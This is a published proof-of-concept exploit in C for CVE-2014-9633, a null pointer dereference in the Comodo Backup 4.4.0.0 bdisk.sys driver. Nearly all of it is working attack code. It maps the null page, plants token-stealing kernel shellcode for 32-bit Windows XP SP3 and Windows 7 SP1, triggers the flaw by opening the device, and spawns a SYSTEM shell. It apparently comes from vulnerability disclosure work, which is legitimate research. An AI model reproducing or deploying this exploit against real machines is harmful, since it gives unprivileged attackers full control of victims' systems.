Comodo Backup 4.4.0.0 – Null Pointer Dereference Privilege Escalation
/* Exploit Title - Comodo Backup Null Pointer Dereference Privilege Escalation Date - 23rd January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - https://www.comodo.com Tested Version - 4.4.0.0 Driver Version - 1.0.0.957 - bdisk.sys Tested on OS - 32bit Windows XP SP3 and Windows 7 SP1 OSVDB - http://www.osvdb.org/show/osvdb/112828 CVE ID - CVE-2014-9633 Vendor fix url - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html Fixed version - 4.4.1.23 Fixed Driver Ver - 1.0.0.972 Note ---- Does not cleanly exit, had to use some leave instructions to get the command prompt. If you know of a better way please do let me know. Below in from Windows XP in IofCallDriver function. eax = 12h 804e37fe 8b7108 mov esi,dword ptr [ecx+8] <- control the null page as ecx = 00000000 804e3801 52 push edx 804e3802 51 push ecx 804e3803 ff548638 call dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090 804e3807 5e pop esi 804e3808 c3 ret esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct // Windows 7 SP1 #define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct #define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct #define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc9, // leave 0xc9, // leave 0xc9, // leave 0xc9, // leave 0xc3 // ret }; BYTE token_steal_w7[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN 0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,W7_TOKEN,0x00,0x00,0x00, // mov [eax+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc9, // leave 0xc9, // leave 0xc9, // leave 0xc9, // leave 0xc3 // ret }; BYTE ESInull[] = "\x00\x00\x00\x00"; BYTE RETaddr[] = "\x90\x00\x00\x00"; int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtAllocateVirtualMemory NtAllocateVirtualMemory; NTSTATUS allocstatus; LPVOID base_addr = (LPVOID)0x00000001; DWORD written; int rwresult; int size = BUFSIZE; HANDLE hDevice; unsigned char buffer[BUFSIZE]; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf(" COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit \n"); printf(" Tested on Windows XP SP3/Windows 7 SP1 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); sprintf(devhandle, "\\\\.\\%s", "bdisk"); NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { printf("[-] Unable to resolve NtAllocateVirtualMemory\n"); return -1; } printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory); printf("[+] Allocating memory at [0x%p]\n", base_addr); allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (allocstatus) { printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus); printf("Error : %d\n", GetLastError()); return -1; } printf("[+] NtAllocateVirtualMemory successful\n"); memset(buffer, 0x90, BUFSIZE); memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1); memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); } else if (GetWindowsVersion() == 2) { printf("[i] Running Windows 7\n"); memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7)); } else if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written); if (rwresult == 0) { printf("[-] An error occured while mapping writing memory: %d\n", GetLastError()); return -1; } printf("[+] WriteProcessMemory %d bytes written\n", written); printf("[~] Press any key to Exploit . . .\n"); getch(); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); spawnShell(); return 0; } |